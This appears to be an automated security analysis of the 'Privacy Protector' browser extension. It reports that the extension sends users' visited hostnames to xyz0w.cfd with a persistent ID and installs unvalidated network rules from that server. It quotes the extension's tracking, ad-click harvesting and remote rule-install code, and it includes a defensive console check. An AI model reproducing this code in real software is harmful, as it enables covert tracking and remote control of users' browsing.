Is Privacy Protector safe?
Privacy Protector is critical risk. Code analysis shows the extension POSTs your site and tracker-block count to xyz0w.cfd, then installs the reply's rule entries across all HTTP/HTTPS traffic. Only each id is checked; action type and target domain are trusted as sent.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
A reply from xyz0w.cfd installs network rules with almost no validation
Code analysis shows the extension POSTs your site and tracker-block count to xyz0w.cfd, then installs the reply's rule entries across all HTTP/HTTPS traffic.
Only each id is checked; action type and target domain are trusted as sent.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
Roughly every 5 hours, the extension POSTs your current site's hostname and tracker-block count to xyz0w.cfd.
The reply is filtered only on each entry's id being a whole number, then installed as dynamic rules that apply to all HTTP and HTTPS traffic.
Every other field of each rule object, action type, redirect target, header list, condition, priority, is copied from the server response unchanged.
- Your active site's hostnamehost: 'news.example.com'
The hostname of the tab you have open when the check-in fires is sent to xyz0w.cfd.
- Blocked-tracker countblockedTrackers: 14
A median blocked-tracker count derived from your local browsing stats is sent alongside the hostname.
- Rule action type (unvalidated)action: {type: 'redirect', redirect: {url: 'https://example-cdn.net/x'}} (illustrative)
The server can specify any action type, block, redirect, modifyHeaders, or allowAllRequests, and the extension installs it unchecked.
- Rule target domain (unvalidated)condition: {urlFilter: '*', resourceTypes: ['main_frame']} (illustrative)
The server can target the rule at any URL pattern, not limited to known tracker or ad domains.
The only validation performed on server-supplied rule entries (background/index.js)
// e = response.trackersFilters (array from the server)const validated = e.filter(entry => { if (!entry || typeof entry !== "object") return false; // The ONLY check: is `id` an integer? action/condition/priority are NOT checked. return Number.isInteger(entry.id);});if (validated.length === 0) { /* remove stale rules and stop */ }// Reassign ids to avoid collisions with existing dynamic rules...const rulesToAdd = [];for (const entry of validated) { // Object.assign copies every field of `entry` (action, condition, priority, ...) // verbatim; only `id` is overwritten to avoid a collision. rulesToAdd.push(Object.assign({}, entry, { id: newId }));}yield chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: staleIds, addRules: rulesToAdd // installed across all HTTP/HTTPS traffic (host_permissions: <all_urls>)});- xyz0w.cfd
Receives your active tab's hostname and tracker-block count, and returns rule data installed into the extension's filtering engine with only the numeric id field checked.
Reads the extension's currently installed dynamic rules and flags any whose action type is not a simple domain block, so you can see whether a trackerStat reply has pushed something other than an ad/tracker block.
- Chrome with the extension installed and enabled
// Run in the extension's service worker console (chrome://extensions -> Privacy Protector -> service worker -> Inspect).chrome.declarativeNetRequest.getDynamicRules().then(rules => { const suspicious = rules.filter(r => r.action.type !== "block"); console.log(`Total dynamic rules: ${rules.length}`); console.log(`Non-block action rules (redirect/modifyHeaders/allowAllRequests):`, suspicious);});- 1Open chrome://extensions, enable Developer mode.
- 2Click 'service worker' under Privacy Protector's Inspect views.
- 3Paste the script into Console.
- 4Review any rule flagged 'suspicious'.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Privacy Protector reports every site you visit to xyz0w.cfd with a persistent ID
Privacy Protector mints a persistent install ID, reads an ad-click ID from the page you installed from, and periodically sends the hostname of your active tab to xyz0w.cfd tagged with both IDs.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You install the extension, then browse to any website with that tab active.
It generates a persistent install ID, reads an ad-click ID from the page you installed from, and periodically reports your active tab's hostname to xyz0w.cfd tagged with both IDs.
Install-time ad-click ID harvest and tab close
chrome.runtime.onInstalled.addListener((details) => { if (details.reason !== 'install') return; try { // Find the install/landing tab (URL contains "detail" and this extension's own id) const tabs = await chrome.tabs.query({}); const userId = await getOrCreateUserId(); // persistent UUID, stored in chrome.storage.local const landingRe = new RegExp(`(?=.*detail)(?=.*${chrome.runtime.id})`, 'i'); const landingTab = tabs.find(t => t.url && landingRe.test(t.url)); let installationQuery = `?uid=${userId}`; if (landingTab?.url) { const landingUrl = new URL(landingTab.url); const qs = landingUrl.searchParams.toString(); if (qs) installationQuery += `&${qs}`; // If the landing page carries an ad-click id ('cpck'), close that tab if (landingUrl.searchParams.has('cpck') && landingTab.id) { await chrome.tabs.remove(landingTab.id); } } await chrome.storage.local.set({ installationQuery }); const uninstallUrl = `https://xyz0w.cfd/uninst?uid=${userId}&ev=${chrome.runtime.getManifest().version || '1.0.0'}&ei=${Date.now()}`; chrome.runtime.setUninstallURL(uninstallUrl); } catch (e) { /* swallowed */ }});- Install IDb0cfbf25-4e93-4fa1-a420-fac0e7ffc6f6
A random ID created once at install and reused on every report for as long as the extension stays installed.
- Ad-click IDcpck=8f2a1c90d3
The 'cpck' ad-attribution parameter read from the page you were on when you installed the extension.
- Site hostnamegithub.com
The domain currently open in your active browser tab.
- Blocked-tracker count0
How many trackers the extension's own filter list matched on that page.
HTTP 200. A second report captured moments later, after navigating to a different site, carried the same install ID with the new hostname: {"host":"www.wikipedia.org","blockedTrackers":0}.
- Content-Type
- application/json
{ "host": "github.com", "blockedTrackers": 0}Every 5 hours
The hostname beacon is throttled to fire at most once every 5 hours, resetting on your next active-tab page load once that window has elapsed.
- xyz0w.cfd
Receives the persistent install ID, the harvested ad-click ID, and the hostname of every site you actively browse to.